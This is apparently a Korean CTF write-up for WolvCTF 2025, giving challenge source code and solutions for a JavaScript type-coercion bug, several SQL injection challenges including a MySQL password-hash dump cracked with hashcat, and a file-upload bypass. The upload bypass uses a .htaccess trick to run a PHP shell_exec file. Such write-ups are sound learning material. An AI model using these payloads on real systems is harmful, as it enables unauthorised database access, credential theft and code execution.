Wolvctf 2025

Mar 22, 2025

Javascript Puzzle

const express = require('express')

const app = express()
const port = 8000

app.get('/', (req, res) => {
    try {
        const username = req.query.username || 'Guest'
        const output = 'Hello ' + username
        res.send(output)
    }
    catch (error) {
        res.sendFile(__dirname + '/flag.txt')
    }
})

app.listen(port, () => {
    console.log(`Server is running at http://localhost:${port}`)
})

‘Hello ‘ + username 연산 전에 username에 대해서 toString을 통한 형변환이 일어난다. 따라서 username.toString을 overwrite해주면 에러가 발생합니다.

username[toString]=1

Limited 1

@app.route('/query')
def query():
    try:
        price = float(request.args.get('price') or '0.00')
    except:
        price = 0.0

    price_op = str(request.args.get('price_op') or '>')
    if not re.match(r' ?(=|<|<=|<>|>=|>) ?', price_op):
        return 'price_op must be one of =, <, <=, <>, >=, or > (with an optional space on either side)', 400

    # allow for at most one space on either side
    if len(price_op) > 4:
        return 'price_op too long', 400

    # I'm pretty sure the LIMIT clause cannot be used for an injection
    # with MySQL 9.x
    #
    # This attack works in v5.5 but not later versions
    # https://lightless.me/archives/111.html
    limit = str(request.args.get('limit') or '1')

    query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
    print('query:', query)

    if ';' in query:
        return 'Sorry, multiple statements are not allowed', 400

    try:
        cur = mysql.connection.cursor()
        cur.execute(query)
        records = cur.fetchall()
        column_names = [desc[0] for desc in cur.description]
        cur.close()
    except Exception as e:
        return str(e), 400

    result = [dict(zip(column_names, row)) for row in records]
    return jsonify(result)

sql query를 실행할 때 price_op에 >/*, limit 앞부분을 */ 로 설정하면 쉽게 sql injection이 가능합니다.

information_schema.processlist 를 통해 어떤 쿼리를 실행했는지 확인하여 query 내부의 주석을 볼 수 있습니다.

/query?price=11&price_op=>/*&limit=*/100 UNION SELECT 1,2,3,INFO FROM information_schema.processlist

Limited 2

Limited 1과 같은 소스코드의 문제입니다. Flag로 시작하는 table에 있는 값을 보면 되는 문제입니다.

/query?price=0&price_op=>/*&limit=*/1 UNION SELECT 1,2,3,table_name FROM information_schema.tables

/query?price=5&price_op=>/*&limit=*/100 UNION SELECT 1,2,3,column_name FROM information_schema.columns WHERE table_name='Flag_843423739'

/query?price=0&price_op=>/*&limit=*/1 UNION SELECT 1,2,3,value FROM Flag_843423739

Limited 3

-- This password is 13 characters and can be found in rockyou.
-- It is the flag for one of the challenges using this source
-- BUT it needs to be wrapped by wctf{} before submitting.
create user 'flag' identified by 'REDACTED_FLAG';

해당 문제의 Mysql은 password를 저장할 때 caching_sha2_password을 사용합니다. 비밀번호가 rockyou에 있는 13글자라는 정보를 통해 bruteforce를 진행했습니다.

UNION SELECT 1,2,3,
  CONCAT('$mysql',
    LEFT(authentication_string, 6),
    '*',
    INSERT(HEX(SUBSTR(authentication_string, 8)), 41, 0, '*')
  ) AS hash
FROM mysql.user
WHERE plugin = 'caching_sha2_password'
  AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%'
  AND user = 'flag'

우선 hash 값을 알기 위해서 위의 쿼리를 사용했습니다.

$mysql$A$005*766E4F5E5D03106A4C027233476433535C4B5E20*3865726464724C6E39747276424F484B6B63742E37307966474C58742F4466634E58767371592F70325044

위의 값을 토대로 hashcat의 7401 옵션을 이용해서(-m 7401 = MySQL 8+ caching_sha2_password 해시) flag를 구할 수 있었습니다.

hashcat -m 7401 -a 0 hashes rockyou-13.txt

Art Contest

if (isset($_FILES['fileToUpload'])) {
    $target_file = basename($_FILES["fileToUpload"]["name"]);
    $session_id = session_id();
    $target_dir = "/var/www/html/uploads/$session_id/";
    $target_file_path = $target_dir . $target_file;
    $uploadOk = 1;
    $lastDotPosition = strrpos($target_file, '.');

    // Check if file already exists
    if (file_exists($target_file_path)) {
        echo "Sorry, file already exists.\n";
        $uploadOk = 0;
    }
    
    // Check file size
    if ($_FILES["fileToUpload"]["size"] > 50000) {
        echo "Sorry, your file is too large.\n";
        $uploadOk = 0;
    }

    // If the file contains no dot, evaluate just the filename
    if ($lastDotPosition == false) {
        $filename = substr($target_file, 0, $lastDotPosition);
        $extension = '';
    } else {
        $filename = substr($target_file, 0, $lastDotPosition);
        $extension = substr($target_file, $lastDotPosition + 1);
    }

    // Ensure that the extension is a txt file
    if ($extension !== '' && $extension !== 'txt') {
        echo "Sorry, only .txt extensions are allowed.\n";
        $uploadOk = 0;
    }
    
    if (!(preg_match('/^[a-f0-9]{32}$/', $session_id))) {
    	echo "Sorry, that is not a valid session ID.\n";
        $uploadOk = 0;
    }

    // Check if $uploadOk is set to 0 by an error
    if ($uploadOk == 0) {
        echo "Sorry, your file was not uploaded.\n";
    } else {
        // If everything is ok, try to upload the file
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file_path)) {
            echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
        } else {
            echo "Sorry, there was an error uploading your file.";
        }
    }

    $old_path = getcwd();
    chdir($target_dir);
    // make unreadable - the proper way
    shell_exec('chmod -- 000 *');
    chdir($old_path);
}

php를 통해 만든 파일을 업로드할 수 있는 사이트입니다. ../ 를 삽입할 수 있는 방법이 없을까 고민했었지만 불가능했습니다.

문제에서는 업로드 이후 chmod -- 000 * 명령어를 통해서 업로드한 파일들을 읽을 수 없도록 하는데 * 를 사용하게 되면 파일명이 . 으로 시작하는 파일들에 대한 처리가 이루어지지 않습니다.

그리고 if ($lastDotPosition == false) 조건문을 사용하는 부분이 있는데 dot의 위치가 제일 처음이라면 $lastDotPosition 이 0이 되어 $lastDotPosition == false 가 true가 됩니다.

따라서 .htaccess 파일을 사용해 txt 파일을 php 파일처럼 사용하게 할 수 있어 flag를 읽어올 수 있습니다.

  • .htaccess
AddType application/x-httpd-php .txt
  • .getflag.txt
<?php
header("Content-Type: text/plain");

echo "Path: " . realpath('../../get_flag') . "\n";
echo "Exists: " . (file_exists('../../get_flag') ? 'Yes' : 'No') . "\n";
echo "Output:\n";

$output = shell_exec('cd /var/www/html && ./get_flag 2>&1');

echo $output;